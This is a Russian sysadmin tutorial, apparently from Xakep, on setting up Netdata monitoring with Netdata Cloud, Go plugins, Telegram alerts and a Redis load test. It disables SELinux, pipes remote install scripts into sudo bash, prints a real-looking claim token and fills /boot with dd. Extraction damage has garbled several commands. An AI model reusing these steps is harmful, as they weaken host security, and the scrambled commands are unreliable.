с помощью . По умол чанию спи сок сос тоит из наибо лее рас- 
простра нен ных сер висов, которые сгруп пирова ны по катего риям, и этот спи- 
сок может быть рас ширен. Име ется под дер жка опо веще ний по триг герам
с исполь зовани ем сле дующих инс тру мен тов:

вну шитель ного спис ка

./usr/lib/netdata/conf.d/health.d/

apps.plugin

alerta.io;•
Amazon Simple Notication Service;•
Discord;•
Dynatrace;•
Email;•
Flock;•
Google Hangouts;•
IRC;•
Kavenegar;•
Matrix;•
MessageBird;•
Microsoft Teams;•
Opsgenie;•
PagerDuty;•
Prowl;•
PushBullet;•
PushOver;•
Rocket.Chat;•
Slack;•
SMS Server Tools 3;•
StackPulse;•
Syslog;•
Telegram;•
Twilio;•
Dashboard (HTML-уве дом ления при откры той вклад ке Netdata-аген та
в бра узе ре).

•

Кро ме того, сущес тву ет воз можность сбо ра и агре гации дан ных в 
, для дос тупа к дан ным ста тис тики име ется спе циаль ный

веб-интерфейс. Так же в Netdata Cloud отсутс тву ют сле дующие огра ниче ния:

Netdata
Cloud

на  (пери од хра нения дан ных);• Retention Policy
на количес тво поль зовате лей в орга низа ции;•
на количес тво нод, кон тей неров, хос тов;•
на количес тво адми нис тра торов;•
на уве дом ления (email, webhooks).•

Ко неч но же, при пре дос тавле нии сер виса по бес плат ной модели гаран тий
обес печения дос тупнос ти нет никаких, но сами раз работ чики утвер жда ют:
«Netdata Cloud воз лага ет на себя обя затель ства перед поль зовате лями
по обес печению бес плат ного и неог раничен ного монито рин га нав сегда».

ÏÎÄÃÎÒÎÂÊÀ Ê ÓÑÒÀÍÎÂÊÅ NETDATA

В статье будет исполь зована вир туаль ная машина с адре сом 172.16.210.134.
Что бы у тебя, дорогой читатель, не воз никло слож ностей в про цес се зна- 
комс тва с Netdata при вклю чен ном SELinux в режиме enforcing, пред лагаю его
вык лючить. Нач нем с обновле ния сис темы:

$ sudo yum update -y

Про верим текущий ста тус SELinux:

 

 

 
  SELinux status:                 enabled 
  SELinuxfs mount:                /sys/fs/selinux 
  SELinux root directory:         /etc/selinux 
  Loaded policy name:             targeted 
  Current mode:                   enforcing 
  Mode from config file:          enforcing 
  Policy MLS status:              enabled 
  Policy deny_unknown status:     allowed 
  Memory protection checking:     actual (secure) 
  Max kernel policy version:      33

[xakep@netdata ~]$ sestatus

Те перь отклю чим SELinux и перезаг рузим сис тему:

 

 

 

 

[xakep@netdata ~]$ sudo setenforce 0

 
  SELinux status:                 enabled 
  SELinuxfs mount:                /sys/fs/selinux 
  SELinux root directory:         /etc/selinux 
  Loaded policy name:             targeted 
  Current mode:                   permissive 
  Mode from config file:          enforcing 
  Policy MLS status:              enabled 
  Policy deny_unknown status:     allowed 
  Memory protection checking:     actual (secure) 
  Max kernel policy version:      33

[xakep@netdata ~]$ sestatus

 
[xakep@netdata ~]$ sudo sed -i 's/^SELINUX=enforcing/SELINUX=disabled/' 
/etc/selinux/config
[xakep@netdata ~]$ sudo reboot

На конец, про верим ста тус SELinux пос ле перезаг рузки:

 

 

 
  Disabled 

 
  SELinux status: disabled

[xakep@netdata ~]$ getenforce

[xakep@netdata ~]$ sestatus

ÓÑÒÀÍÎÂÊÀ NETDATA

Раз работ чики Netdata пре дос тавля ют нес коль ко спо собов уста нов ки аген та:
скрипт ;• kickstart.sh
скрипт  для под клю чения к репози торию Netdata.• packagecloud.io

Мы будем исполь зовать вто рой спо соб — скрипт для под клю чения репози- 
тория. По опы ту адми нис три рова ния бинар ных дис три бути вов рекомен дую
при дер живать ся уста нов ки пакетов из репози тори ев, так как под чищать сис- 
тему за самопис ными скрип тами — то еще удо воль ствие. Скрипт под клю чит
наш Rocky Linux к нуж ному .rpm-репози торию, оста нет ся толь ко вруч ную уста- 
новить пакет Netdata.

INFO

Netdata по умол чанию собира ет ано ним ную
информа цию об исполь зовании и отправ ляет ста- 
тис тику на сер веры Netdata в PostHog.  —
это плат форма для ана лиза про дук тов с откры тым
исходным кодом. Ано ним ная ста тис тика собира- 
ется из двух источни ков в Netdata:

PostHog

с даш бордов (web GUI);•
с backend-аген та.•

Со бира ются сле дующие дан ные:
вер сия Netdata;•
опе раци онная сис тема (ОС), вер сия ОС;•
яд ро ОС, вер сия ядра, архи тек тура ядра;•
тех нология вир туали зации;•
тех нология кон тей нериза ции.•

Так же в ста тис тику вхо дят отче ты о сбо ях и ошиб- 
ках.

Раз работ чики Netdata утвер жда ют, что ста тис тика исполь зования аген та
для них жиз ненно важ на, пос коль ку эти дан ные необ ходимы для обна руже ния
оши бок и пла ниро вания новых фун кций, то есть для улуч шения про дук та.
Отклю чать или нет эту фун кци ональ ность — решать тебе, какой-либо дес трук- 
тивной фун кции он в себе не несет. Отклю чить сбор и переда чу ста тис тики
мож но любым из трех спо собов:

соз дать файл  в 
 перед запус ком;

• .opt-out-from-anonymous-statistics /etc/
netdata/
при уста нов ке Netdata ука зать в скрип те опцию 
(не для нашего слу чая);

• --disable-telemetry

пе редать перемен ную окру жения  (нап ример, при деп- 
лое Docker-кон тей нера).

• DO_NOT_TRACK=1

Прис тупа ем к уста нов ке Netdata:

# Подключение репозитория epel
yum $ sudo install epel-release -y

# Скачивание скрипта для подключения репозитория Netdata
curl 

bash 
$ -s https://packagecloud.io/install/repositories/netdata/
netdata/script.rpm.sh | sudo 

# Установка Netdata
yum $ sudo install netdata -y

Что бы получить текущий файл кон фигура ции Netdata, нуж но запус тить агент
и выпол нить сле дующую коман ду (осто рож но, кон фиг очень длин ный и необ- 
ходим лишь для озна ком ления с основны ми опци ями):

curl $ -o ~/netdata.conf http://localhost:19999/netdata.conf 

При прав ке кон фигура ции Netdata вруч ную раз работ чики рекомен дуют
исполь зовать скрипт-обер тку :edit-config

# Переход в директорию c конфигурацией Netdata
$ cd /etc/netdata/ 

# Подсказка: вместо sample.conf нужно указать необходимый файл из /
usr/lib/netdata/conf.d/
$ sudo ./edit-config <sample.conf> 

ÍÀÑÒÐÎÉÊÀ NETDATA

Ос новной файл кон фигура ции называ ется , и с

минималь но необ ходимы ми парамет рами он выг лядит сле дующим обра зом:

/etc/netdata/netdata.conf

[global]
     run as user = netdata

 # The default database size — 1 hour
   history = 3600

 # Some defaults to run Netdata with least priority
     process scheduling policy = idle
    OOM score = 1000

[web]
     web files owner = root
     web files group = netdata

 # By default do not expose the Netdata port
    bind to = localhost

Вне сем нес коль ко изме нений:

[global]
    OOM score = -900
     run as user = netdata
     enable zero metrics = yes
 # Some defaults to run Netdata with least priority
     process scheduling policy = idle
 # Database size — 20 min
   history = 1200

[web]
 # By default do not expose the Netdata port
    bind to = localhost
     web files owner = root
     web files group = netdata

[health]
   enabled = yes

[host labels]
   type = virt
   location = xakep
   instance = netdata

Па раметр  ука зыва ет зна чение для ,
которое по совокуп ности фак торов поз воля ет задать при ори тет про цес са
для его «убий ства» при вызове . По умол чанию Netdata име ет зна- 

чение  рав ным , что ста вит ее одним из пер вых кан дидатов
на «убий ство». Но пос коль ку нам необ ходима ста тис тика по ресур сам сер- 
вера, если этих самых ресур сов не хва тает, что бы выявить винов ника, агент
Netdata нуж но при бивать в самую пос леднюю оче редь.

OOM score /proc/[pid]/oom_score_adj

oom_killer
OOM score 1000

Для про вер ки  мож но было бы вос поль зовать ся ути литой ,
но в Rocky Linux, как и в CentOS, и в Red Hat,  пос тавля ется вер- 
сии 2.32, а choom дос тупен с вер сии util-linux 2.33 (

 от 1 нояб ря 2018 года). Нес мотря на то что автор  — один из сот- 
рудни ков Red Hat, в самой ОС и ее про изводных дис три бути вах (кро ме
Fedora) все еще исполь зует ся .

oom-score choom
util-linux

Util-linux 2.33 Release
Notes choom

util-linux-2.32
Но не будем о грус тном, а про демонс три руем работу  и дей ствие

парамет ра  c  на при мере Fedora. При 

:

choom
OOM score util-linux-2.37.2-r1 OOM 

score = 1000

 

 

 
pid 15731's current OOM score: 1334 
pid 15731's current OOM score adjust value: 1000

[xakep@netdata ~]$ choom -p $(cat /var/run/netdata/netdata.pid)

При :OOM score = -900

 

 

 
pid 17958's current OOM score: 667 
pid 17958's current OOM score adjust value: 0

[xakep@netdata ~]$ choom -p $(cat /var/run/netdata/netdata.pid)

Те перь крат ко про бежим ся по парамет рам:
 я оставляю, так как не пла нирую обра щать ся к даш борду нап- 

рямую или по сети, выс тавлять за nginx и про чее. Пока нам необ ходима
прос то ста тис тика по показа телям и мет рикам с дли тель ностью в месяцы
и годы;

• bind to

 полез но вклю чить, это поз волит наб людать
за наличи ем мет рик даже с нулевы ми зна чени ями;

• enable zero metrics

 — я сок ращаю локаль ную БД Netdata до при емле мых минималь- 
ных зна чений для мень шего пот ребле ния ресур сов. Для БД исполь зует ся
как диск, так и опе ратив ная память. В нашем слу чае ста тис тика по мет- 
рикам будет сок ращена до 20 минут. На  мож но вос поль зовать- 
ся каль кулято ром рас чета необ ходимых ресур сов при раз личных зна чени- 
ях для БД;

• history

этом сай те

 — этот параметр слу жит для ука зания кас томизи рован ных
гло баль ных тегов. Удо бен для груп пирова ния хос тов, сис тем по катего- 
риям. Рекомен дую про читать 

. Ука зан ные теги ( , , ) и их зна- 
чения — кас томные, нет необ ходимос ти при вязы вать ся к ука зан ным
здесь, ты можешь объ явить свои собс твен ные теги;

• host labels

ре комен дации и огра ниче ния при ука зании
host labels type location instance

 (Kernel SamePage Merging). Я не вклю- 
чаю KSM, так как в рас смат рива емом нами при мере в этом нет необ- 
ходимос ти. Для вклю чения KSM в Netdata необ ходимо пред варитель но
вклю чить KSM в самом Linux. По умол чанию KSM не исполь зует ся в Red
Hat, Rocky, CentOS, но, если он нужен, сле дует пред варитель но снять ста- 
тис тику исполь зования ресур сов до вклю чения KSM в течение дли тель ного
вре мени, а затем вклю чить и понаб людать за исполь зовани ем ресур сов
с вклю чен ным KSM. В сис темах с нес коль кими CPU эко номия опе ратив ной
памяти, воз можно, будет нез начитель ной, а наг рузка на про цес соры
замет но уве личит ся. Про изво дитель ность KSM, конеч но же, зависит
от задач, с которы ми работа ет сис тема, потому что при вклю чении KSM
выделе ние новых стра ниц памяти пот ребу ет допол нитель ных опе раций,
ведь для это го будет задей ство ван механизм copy-on-write.

• memory deduplication (ksm)

При водить рекомен дации по нас трой ке  и  для орга низа ции

дос тупа я не буду, пос коль ку наш хост будет под клю чать ся к Netdata Cloud.
Для дос тупа к даш борду Netdata на реаль ном или вир туаль ном хос те мож но
проб росить SSH-тун нель. В при мере ниже исполь зован адрес вир туаль ного
хос та (172.16.210.134) с запущен ным Netdata-аген том. Для соз дания тун неля
выпол ни сле дующую коман ду:

iptables nginx

ssh $ -NL 19999:127.0.0.1:19999 xakep@172.16.210.134 

Что бы получить дос туп к даш борду Netdata вир туаль ного хос та, пос ле уста- 
нов ки тун неля перей ди в бра узе ре по адре су .http://127.0.0.1:19999

Веб-интерфейс аген та Netdata

Для орга низа ции цен тра лизо ван ного дос тупа к ста тис тике с одним даш- 
бордом для всех хос тов есть нес коль ко спо собов:

под нять одну из под держи ваемых TSDB (TimeSeries Database) в качес тве
backend для Netdata;

•

нас тро ить аген ты Netdata на стри минг, где будет нас тро ен 
;

• ро дитель ский
инстанс Netdata (parent) и дочер ние (child)
под клю чить агент к .• Netdata Cloud

Продолжение статьи →

mailto:root@xakru.me
https://learn.netdata.cloud/docs/agent/collectors/collectors
https://learn.netdata.cloud/docs/agent/collectors/apps.plugin
https://www.netdata.cloud/cloud/
https://my-netdata.io/kickstart.sh
https://packagecloud.io/netdata/netdata
https://posthog.com/
https://git.centos.org/rpms/util-linux
https://mirrors.edge.kernel.org/pub/linux/utils/util-linux/v2.33/v2.33-ReleaseNotes
https://learn.netdata.cloud/docs/store/change-metrics-storage
https://learn.netdata.cloud/docs/configure/common-changes#organize-nodes-with-host-labels
https://learn.netdata.cloud/docs/agent/streaming#database-replication
https://www.netdata.cloud/
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НАСТРАИВАЕМ ПРОСТУЮ БЕСПЛАТНУЮ

СИСТЕМУ МОНИТОРИНГА

АДМИН  НАЧАЛО СТАТЬИ←

ÏÎÄÊËÞ×ÅÍÈÅ Ê NETDATA CLOUD

В арсе нале  име ются неог раничен ные ресур сы (про цес сор,
память, диск, сеть), а от нас пот ребу ется раз верну тая вир туаль ная машина
с аген том Netdata. Цель — орга низо вать получе ние уве дом лений о сбо ях
и воз ника ющих на хос тах проб лемах с минималь ными вре мен ными и финан- 
совыми зат ратами, ну и с минималь ными издер жка ми на под держа ние сис- 
темы монито рин га. Так как при проб лемах в сети про вай дера и в слу чае
недос тупнос ти аген та Netdata уве дом ления нам пос тупать не смо гут, для это- 
го и нужен внеш ний даш борд с пос тоян ным дос тупом к нему по сети.

Netdata Cloud

Агент Netdata под клю чает ся к Netdata Cloud при помощи неболь шого
скрип та, пос ле выпол нения которо го в  будут

сге нери рова ны при ват ный и пуб личный клю чи, раз мещен кон фигура цион ный
файл и файл с токеном для под клю чения. Скрипт с нуж ными токена ми ты
можешь получить пос ле регис тра ции (в админке Netdata Cloud), для это го
нужен толь ко адрес email.

/var/lib/netdata/cloud.d/

Стра ница регис тра ции в Netdata Cloud

Ука зывай свой email и получай на поч ту ссыл ку для вхо да с пра вами адми нис- 
тра тора в толь ко что соз данную для тебя орга низа цию. В ней мож но добав- 
лять поль зовате лей, прос транс тва, рас пре делять дос тупы по груп пам, стро- 
ить даш борды и про чее.

Стра ница регис тра ции в Netdata Cloud

Скрипт для под клю чения вир туаль ного хос та к Netdata Cloud ты получишь
при перехо де в раз дел WarRooms → General или любую ком нату. Я соз дал
ком нату xakep.ru, в которую буду под клю чать вир туаль ный хост.

Скрипт регис тра ции хос та в Netdata Cloud

Вы делен ная сек ция под номером 3 на скрин шоте выше и есть тот самый
скрипт для под клю чения хос та, который нуж но выпол нить на хос те, где ты
уста новил агент Netdata. В моем слу чае это вир туаль ная машина по адре су

:172.16.210.134

 

 

 
 --- Found existing install of Netdata under: / --- 
 --- Existing install appears to be handled manually or through 
the system package manager. --- 
 --- Attempting to claim agent to https://app.netdata.cloud --- 
Token: **************** 
Base URL: https://app.netdata.cloud 
Id: 7e48a49e-7218-11ec-b69f-000c294a3927 
Rooms: 341e4fe1-14fb-4181-ad5a-445b157e80fe 
Hostname: netdata.xakep.local 
Proxy: 
Netdata user: netdata 
Generating private/public key for the first time. 
Generating RSA private key, 2048 bit long modulus (2 primes) 
.....................+++++ 
........................................................................
..................+++++ 
e is 65537 (0x010001) 
Extracting public key from private key. 
writing RSA key 
Connection attempt 1 successful 
Node was successfully claimed. 
 --- Successfully claimed node ---

[xakep@netdata ~]$ sudo bash curl -Ss https://my-netdata.io/kickstart.
sh) --claim-token jv_384duX8LipGm5jBqb6oupVh7W5Vcvst_niARBxhRpsW-
71uCSSX2xfD0_2D4y_ndxVWUf-
MWa42WfMz4kbm7KUhkmvf75bgmpV4rKeNDMDLWVHa3goE4SXW9bfiapOOQpdmM --claim-
rooms 341e4fe1-14fb-4181-ad5a-445b157e80fe --claim-url https://app.
netdata.cloud

Вот оно — успешное под клю чение вир туаль ной машины к Netdata Cloud
с демонс тра цией ее показа телей.

Под клю чен ный к Netdata Cloud хост

ÏËÀÃÈÍÛ

Netdata перево дит пла гины c Python на Golang, выделив их в отдель ный 
. Вклю чение Golang-пла гинов в Netdata (

) выг лядит сле дующим обра зом:

ре- 
пози торий ак туаль ный спи сок и кон- 
фиги Golang-пла гинов

# Переходи в директорию c конфигами Netdata
$ cd /etc/netdata/ 

# Включай необходимые плагины, используя скрипт-обертку
$ sudo ./edit-config go.d.conf 

Да же если фай ла  нет в дирек тории , исполь зуем

скрипт  для редак тирова ния кон фигов. Скрипт соз даст этот

файл, ско пиро вав его из , и откро ет для редак- 
тирова ния. Ука зан ной коман ды дос таточ но для при митив ного вклю чения пла- 
гина, в некото рых слу чаях необ ходима нас трой ка пла гина в фай ле 

. Подоб ный метод вклю чения акту ален
так же для пла гинов, написан ных на Python, с поп равкой на ука зание фай ла —

 нуж но изме нить на .

go.d.conf /etc/netdata
edit-config

/usr/lib/netdata/conf.d/

/etc/
netdata/go.d/<plugin_name>.conf

go.d.conf python.d.conf
Для при мера давай уста новим  и вклю чим его ста тис тику.

Рdns-recursor — это рекур сивный DNS-сер вер, ранее выделен ный в отдель- 
ный про ект из еди ного решения powerdns. Уста нов ка выпол няет ся сле- 
дующей коман дой:

pdns-recursor

yum $ sudo install pdns-recursor -y

Те перь нас тро им  для отда чи ста тис тики. В докумен тации
к пла гину и в докумен тации самого  ука заны необ ходимые дей ствия:

powerdns-recursor
powerdns

вклю чение парамет ра webserver в  для демонс тра- 
ции ста тис тики;

• powerdns-recursor

вклю чение HTTP API ука зани ем зна чения парамет ра  для пре дос- 
тавле ния дос тупа к ста тис тике.

• api-key

INFO

Ко ман ды из этой демонс тра ции и сле дующих
подоб ных можешь копиро вать и исполь зовать
пря мо из пле ера — это текст. Но будь осто рожен:
в буфер могут попасть лиш ние сим волы.

Нас трой ка  показа на на сле дующем видео:powerdns-recursor
[xakep@netdata ~]$ vi /etc/pdns-recursor/recursor.conf 
[xakep@netdata ~]$ yum install pwgen -y

А вот про цеду ра соз дания и прав ки кон фига  и вклю чения пла- 

гина на Go :

go.d.conf
powerdns_recursor

[xakep@netdata ~]$ cd /etc/netdata/ 
[xakep@netdata netdata]$ ls go.d.conf 
ls: cannot access 'go.d.conf': No such file or directory 
[xakep@netdata netdata]$ sudo .

Для при мене ния изме нений необ ходимо переза пус тить Netdata:

$ sudo systemctl restart netdata.service 

Дан ные powerdns_recursor в аген те Netdata

Вни матель ный читатель на скрин шоте выше мог заметить, что сек ция
 в колон ке спра ва зад воилась. Одна, с наз вани ем ,

отно сит ся к , а дру гая — к . Мы же нас тра ива ли . Нуж но

про верить логи Netdata ( ):

powerdns recursor job-a
powerdns local local

/var/log/netdata/error.log

 

 

 
  2022-01-12 19:36:36: go.d INFO: main[main] looking for 'powerdns.conf' 
in [/etc/netdata/go.d /usr/lib/netdata/conf.d/go.d] 
  2022-01-12 19:36:36: go.d INFO: main[main] found 
'/usr/lib/netdata/conf.d/go.d/powerdns.conf 
  2022-01-12 19:36:36: go.d INFO: main[main] looking for 
'powerdns_recursor.conf' in [/etc/netdata/go.d 
/usr/lib/netdata/conf.d/go.d] 
  2022-01-12 19:36:36: go.d INFO: main[main] found 
'/etc/netdata/go.d/powerdns_recursor.conf 
  2022-01-12 19:36:36: go.d ERROR: prometheus[powerdns_exporter_local] 
Get "http://127.0.0.1:9120/metrics": dial tcp 127.0.0.1:9120: connect: 
connection refused 
  2022-01-12 19:36:36: go.d ERROR: prometheus[powerdns_exporter_local] 
check failed 
  2022-01-12 19:36:36: go.d ERROR: powerdns[local] 
'http://127.0.0.1:8081/api/v1/servers/localhost/statistics' returned 
HTTP status code: 401 
  2022-01-12 19:36:36: go.d ERROR: powerdns[local] check failed 
  2022-01-12 19:36:36: python.d INFO: plugin[main] : [powerdns] built 1 
job(s) configs 
  2022-01-12 19:36:36: python.d INFO: plugin[main] : powerdns[powerdns] 
: check failed 
  2022-01-12 19:36:59: go.d ERROR: powerdns_recursor[local] 
'http://127.0.0.1:8081/api/v1/servers/localhost/statistics' returned 
HTTP status code: 401 
  2022-01-12 19:36:59: go.d ERROR: powerdns_recursor[local] check failed 
  2022-01-12 19:52:26: go.d INFO: main[main] looking for 
'powerdns_recursor.conf' in [/etc/netdata/go.d 
/usr/lib/netdata/conf.d/go.d] 
  2022-01-12 19:52:26: go.d INFO: main[main] found 
'/etc/netdata/go.d/powerdns_recursor.conf 
  2022-01-12 19:52:26: go.d INFO: main[main] looking for 'powerdns.conf' 
in [/etc/netdata/go.d /usr/lib/netdata/conf.d/go.d] 
  2022-01-12 19:52:26: go.d INFO: main[main] found 
'/usr/lib/netdata/conf.d/go.d/powerdns.conf 
  2022-01-12 19:52:26: python.d INFO: plugin[main] : [powerdns] built 1 
job(s) configs 
  2022-01-12 19:52:26: python.d INFO: plugin[main] : powerdns[powerdns] 
: check success 
  2022-01-12 19:52:27: go.d ERROR: powerdns[local] returned metrics 
aren't PowerDNS Authoritative Server metrics 
  2022-01-12 19:52:27: go.d ERROR: powerdns[local] check failed 
  2022-01-12 19:52:47: go.d ERROR: prometheus[powerdns_exporter_local] 
Get "http://127.0.0.1:9120/metrics": dial tcp 127.0.0.1:9120: connect: 
connection refused 
  2022-01-12 19:52:47: go.d ERROR: prometheus[powerdns_exporter_local] 
check failed 
  2022-01-12 19:52:47: go.d INFO: powerdns_recursor[local] check success 
  2022-01-12 19:52:47: go.d INFO: powerdns_recursor[local] started, data 
collection interval 1s

[xakep@netdata ~]$ grep powerdns /var/log/netdata/error.log

Из лога нам нуж ны эти две стро ки:

2022-01-12 19:52:26: python.d INFO: plugin[main] : powerdns[
powerdns] : check success 
2022-01-12 19:52:47: go.d INFO: powerdns_recursor[local] check 
success 

Те перь понят но, что задей ство ваны два пла гина — пер вый на Python, вто рой
на Go. Отклю чим Python-вер сию пла гина, оста вив вер сию на Go, а потом
переза пус тим агент.

[xakep@netdata netdata]$ cd /etc/netdata/ 
[xakep@netdata netdata]$ sudo ./edit-config python.d.conf 
Copying '/usr/lib/netdata/conf.d/python.d.conf' to '/etc/netdata/python.d.conf' ... 
Editing '/etc/netdata/python.d.conf' ... 
[xakep@netdata netdata]$ /

В выводе лога Netdata сооб щает нам об успешном вклю чении пла гина
 на Go, при этом мы не наб люда ем пла гина на Python:powerdns_recursor

2022-01-13 17:40:21: go.d INFO: powerdns_recursor[local] check 
success 
2022-01-13 17:40:21: go.d INFO: powerdns_recursor[local] started, 
data collection interval 1s 

Продолжение статьи →

https://app.netdata.cloud/
https://github.com/netdata/go.d.plugin
https://github.com/netdata/go.d.plugin/tree/master/config/go.d
https://doc.powerdns.com/recursor/http-api/index.html#enabling-the-api
https://asciinema.org/a/461524
https://asciinema.org/a/461514
https://asciinema.org/a/461686
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ÎÏÎÂÅÙÅÍÈß (ALERTS)

При под клю чении к Netdata Cloud уве дом ления пока отправ ляют ся толь ко
на email. В будущем ожи дают ся опо веще ния через webhooks, но сро ки внед- 
рения этой фичи неиз вес тны. Если тебе нуж ны дру гие методы опо веще ния,
нас трой ка про изво дит ся на хос те с аген том Netdata (в нашем слу чае —
на вир туаль ном хос те).

Ñîçäàíèå áîòà è êàíàëà â Telegram

Для получе ния опо веще ний в Telegram мож но исполь зовать бота, при этом
у тебя дол жен быть дей ству ющий акка унт в этом мес сен дже ре. Для начала
про читай .ру ководс тво по соз данию бота

Соз дание бота в Telegram

Соз дай канал, в который бот будет отправ лять опо веще ния Netdata.

Соз дание Telegram-канала для опо веще ний

Ука зание наз вания Telegram-канала для опо веще ний

Нас трой ки Telegram-канала для опо веще ний Netdata

Те перь добавь бота в соз данный канал к адми нис тра торам, желатель но огра- 
ничить бота пра вами толь ко на пуб ликацию сооб щений.

До бав ление бота в адми нис тра торы канала

До бав ление бота в адми нис тра торы канала

Пра ва бота как адми нис тра тора канала

От правь сооб щения с тво ей учет ной записи Telegram в толь ко что соз данный
канал для его акти вации. Это поможет узнать ID канала в свой ствах тво его
бота. Затем получи ID канала по ссыл ке

. Замени  токеном

тво его бота. Токен мож но узнать у  c помощью его команд,
в отве те будет что-то подоб ное:

https://api.telegram.org/botXXX:YYYY/getUpdates XXX:YYYY
@BotFather

{
 "ok":true,
 "result":[{
   "update_id":976400277,
   "channel_post":{
     "message_id":3,
     "sender_chat":{
       "id":-1001513455910,
       "title":"netdata alerts - xakep.ru",
       "type":"channel"
     },
     "chat":{
       "id":-1001513455910,
       "title":"netdata alerts - xakep.ru",
       "type":"channel"
     },
     "date":1642175925,
     "text":"test"
   }
 }]

}

Те бе нужен ID из  — . Что бы отпра вить тес товое

сооб щение как буд то бы от тво его бота, но на самом деле из тер минала,
исполь зует ся :

sender_chat -1001513455910

api.telegram.org

curl   -X POST "https://api.telegram.org/botXXX:YYYY/sendMessage" -d
"chat_id=-zzzzzzzzzz&text=test message"

Де монс тра ция тес тового сооб щения на канале от бота

Netdata — íàñòðîéêà óâåäîìëåíèé â Telegram

Вот так выпол няет ся нас трой ка Netdata для переда чи уве дом лений
в Telegram.

SEND_KAVENEGAR="YES" 

# to get an access key, after selecting and purchasing your desired service 
# at http://kavenegar.com/pricing.html 
# login to your account, go to your dashboard and my account are 
# https://panel.kavenegar.com/Client/setting/account from API Key 
# copy your api key. You can generate new API Key too. 
# You can find and select kevenegar sender number from this place. 

# Without an API key, netdata cannot send KAVENEGAR text messages. 
KAVENEGAR_API_KEY="" 
KAVENEGAR_SENDER="" 
DEFAULT_RECIPIENT_KAVENEGAR="" 

#------------------------------------------------------------------------------ 
# telegram (telegram.org) global notification options 

# multiple recipients can be given like this: 
# "CHAT_ID_1 CHAT_ID_2 ..." 

# enable/disable sending telegram messages 
SEND_TELEGRAM="YES" 

# Contact the bot @BotFather to create a new bot and receive a bot token. 
# Without it, netdata cannot send telegram messages. 
TELEGRAM_BOT_TOKEN="" 

# To get your chat ID send the command /getid to telegram bot @myidbot 
# (https://t.me/myidbot). Each user also needs to open a conversation with the 
# bot that will be sending notifications. 
# If a role's recipients are not configured, a message will be sent to 
# this chat id (empty = do not send a notification for unconfigured roles):

Что бы про верить, дос тавля ются ли уве дом ления в нуж ный канал Telegram,
исполь зуй сле дующий скрипт:

# Смена текущего пользователя xakep на netdata
su $ sudo -s /bin/bash netdata 

# Включение вывода отладки в терминал
1 $ export NETDATA_ALARM_NOTIFY_DEBUG=

# Отправка тестового уведомления группе sysadmin
$ /usr/libexec/netdata/plugins.d/alarm-notify.sh test

В резуль тате про вер ки мы уви дим, что уве дом ления в Telegram в нуж ном
канале успешно получе ны.

Ре зуль тат про вер ки уве дом лений из Netdata

Ïðîâåðêà óâåäîìëåíèé íà ñîáûòèÿ â Netdata

Про верить дос тупные события, по которым ты смо жешь получать уве дом- 
ления, мож но в веб-интерфей се аген та Netdata по адре су .

Здесь исполь зует ся порт , для которо го мы уже уста нав ливали тун нель

SSH.

127.0.0.1:19999
19999

Спи сок активных про верок и уве дом лений (три геров) в Netdata

Да вай про ведем тес тирова ние на триг гере по дос тупно му мес ту в раз деле 
 записав в этот раз дел файл мак сималь но воз можно го раз мера:,/boot

 

 

 

 

 
 

Filesystem           Size  Used Avail Use% Mounted on 
/dev/nvme0n1p2      1014M  254M  761M  26% /boot

# Проверь занятое пространство /boot — занято менее 30%
[xakep@netdata ~]$ df -h /boot

 
 

dd: writing to '/boot/delete_me': No space left on device 
1556449+0 records in 
1556448+0 records out 
796901376 bytes (797 MB, 760 MiB) copied, 5.18328 s, 154 MB/s

# Командой dd создай максимального размера файл в /boot
[xakep@netdata ~]$ sudo dd if=/dev/urandom of=/boot/delete_me

 
 

Filesystem           Size  Used Avail Use% Mounted on 
/dev/nvme0n1p2      1014M 1014M   20K 100% /boot

# Снова проверь занятое пространство /boot — занято 100%
[xakep@netdata ~]$ df -h /boot

Про верь текущие триг геры в опо веще ниях в веб-интерфей се Netdata.
Для это го пре дус мотрен зна чок колоколь чика ввер ху спра ва и вклад ка
активных алар мов.

Ак тивиро ван ные триг геры в Netdata

Ак тивиро ван ные триг геры в Netdata

Есть уве дом ление в Telegram. Перед сня тием скрин шота я уже уда лил файл 
 поэто му пос леднее уве дом ление ука зыва ет на то, что

проб лема устра нена и зафик сирова но событие .

,/boot/delete_me
recovered

По лучен ные уве дом ления о триг герах в Telegram из Netdata

Продолжение статьи →

https://core.telegram.org/bots#6-botfather
https://api.telegram.org/botXXX:YYYY/getUpdates
https://asciinema.org/a/461826
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ÑÁÎÐ ÑÒÀÒÈÑÒÈÊÈ ÏÎ ÑÅÐÂÈÑÀÌ È ÏÎËÜÇÎÂÀÒÅËßÌ

Од на из клю чевых, на мой взгляд, осо бен ностей Netdata — воз можность
собирать ста тис тику исполь зуемых ресур сов по поль зовате лям, груп пам
и сер висам. Про верим, как работа ет эта фун кция, какие дан ные собира ет
агент и как выг лядит ста тис тика.

Для начала уста новим сер вер баз дан ных NoSQL — Redis:

yum $ sudo install redis -y
$ sudo systemctl start redis 

За пол ним БД мас сивом дан ных:

 

 

 
127.0.0.1:6379> KEYS * 
(empty list or set) 
127.0.0.1:6379> DEBUG POPULATE 2000 test 1000000 
OK 
(0.81s) 
127.0.0.1:6379> KEYS * 
   1) "test:1939" 
   2) "test:1815" 
   3) "test:1686" 
   4) "test:778" 
... 
1997) "test:1240" 
1998) "test:814" 
1999) "test:1379" 
2000) "test:267"

[xakep@netdata ~]$ redis-cli

Не забыва ем переза пус тить агент Netdata:

$ sudo systemctl restart netdata.service 

При рес тарте Netdata запус тит пла гин для монито рин га Redis. Допол нитель- 
ной нас трой ки не тре бует ся.

Ñòàòèñòèêà ïî ñåðâèñàì/ïðîöåññàì

Вот так выг лядит ста тис тика по пот ребле нию ресур сов CPU, опе раци ям вво- 
да-вывода (input/output) при ложе ниями и про цес сами.

Ста тис тика по сер висам — CPU, IO

Пот ребле ние опе ратив ной памяти (RAM), количес тво запущен ных про цес сов
и потоков при ложе ниями и про цес сами.

Ста тис тика по сер висам — опе ратив ная память, запущен ные про цес сы,
потоки

Пот ребле ние swap, исполь зование сети, количес тво откры тых сокетов.

Ста тис тика по сер висам — swap, сеть

Ñòàòèñòèêà ïî ïîëüçîâàòåëÿì

Пот ребле ние ресур сов CPU, опе рации вво да-вывода, выпол ненные поль- 
зовате лями.

Ста тис тика по поль зовате лям — CPU, ввод-вывод

Ис поль зование swap, исполь зование сети, количес тво откры тых поль зовате- 
лями сокетов.

Ста тис тика по сер висам — запущен ные про цес сы, потоки, swap, сеть

На пол нение дан ными БД Redis ожи даемо выз вало пот ребле ние ресур сов
вир туаль ной машины. Это при вело к исчерпа нию дос тупной опе ратив ной
памяти и допол нитель но исполь зовало swap. Об этом нас тут же уве домил
агент Netdata в Telegram.

Опо веще ния Netdata вследс твие наг рузки Redis

